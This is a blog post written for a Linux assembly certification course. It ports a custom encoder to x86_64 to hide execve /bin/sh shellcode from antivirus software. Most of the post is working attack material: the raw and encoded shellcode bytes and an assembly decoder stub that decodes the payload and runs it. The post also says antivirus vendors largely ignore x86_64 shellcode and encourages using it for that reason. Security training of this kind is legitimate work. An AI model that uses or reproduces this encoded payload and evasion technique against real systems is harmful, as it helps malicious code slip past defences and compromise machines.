Encoding schemes are used to transform data in a way that makes it consumable by different systems in a safe manner. In this post we’ll look at how we can bypass AVs by ab(using) this scheme to encode otherwise detectable shellcode.
We will be porting an x86 encoder I made a while back exploit-db to make it work with x86_64. Please refer to my SLAE32 series for more details on the encoder. I’ve also made a quick execve() shellcode to test with.
mov al, 59
The encoder (python script) pretty much stays as is, all we need is feed it our newly created
/bin/sh shellcode and generate an encoded version of it.
➜ A4 ./Encoder.py 13 1 1337
Original Shellcode: 0x50, 0x99, 0x52, 0x5e, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x53, 0x54, 0x5f, 0xb0, 0x3b, 0x0f, 0x05,
Encoded Shellcode : 0x583, 0x475, 0x587, 0x5ef, 0x593, 0x4a9, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x541, 0x541, 0x439, 0x5d3, 0x5f9, 0x5fb, 0x5e1, 0x443, 0x5a9, 0x501, 0x51d, 0x539
Decoder.asm ported to x86_64 including previously generated encoded shellcode.
; [ROT-N + SHL-N + XOR-N] encoded execve() code block
jmp short call_decoder ; jump to call_decoder to save encoded_shellcode pointer to RSI
pop rsi ; store encoded_shellcode pointer in RSI
push rsi ; push encoded_shellcode pointer to stack for later execution
mov rdi, rsi ; move encoded_shellcode pointer to RDI
; note: 1) Make sure ROT, SHR, and XOR here match your encoder.py input.
; 2) Hence we're limited by the size of encoded_shellcode (word),
; SHR is limited to <1-8> bits. Feel free to upgrade size to DW
; to allow up to 16-bits shift if need be.
mov ax, [rsi] ; move current word from encoded_shellcode to AX
xor ax, 0x539 ; XOR encoded_shellcode with 1337, one word at a time
jz decoded_shellcode ; if zero jump to decoded_shellcode
shr ax, 1 ; shift encoded_shellcode to right by one bit, one word at a time
sub ax, 13 ; substract 13 from encoded_shellcode, one word at a time
mov [rdi], al ; move decoded byte to RDI
inc rsi ; point to the next encoded_shellcode word
inc rdi ; point to the next decoded_shellcode byte
jmp short decode ; jump to decode and repeat the decoding process for the next word!
call [rsp] ; execute decoded_shellcode
encoded_shellcode: dw 0x583, 0x475, 0x587, 0x5ef, 0x593, 0x4a9, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x541, 0x541, 0x439, 0x5d3, 0x5f9, 0x5fb, 0x5e1, 0x443, 0x5a9, 0x501, 0x51d, 0x539
Let’s run it.
Out of curiosity, I decided to compare my x86 encoded shellcode VT results (taken at the time the original x86 encoder was created) with x86_64 one and I found the results quite interesting.
The VT results clearly shows that AV vendors don’t care much for x86_64 shellcode at this point in time which is another good reason why we should use it more. All of the above code are available on my github. Feel free to contact me for questions using the comment section below or just tweet me @ihack4falafel .
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certiﬁcation:
Student ID: SLAE64 – 1579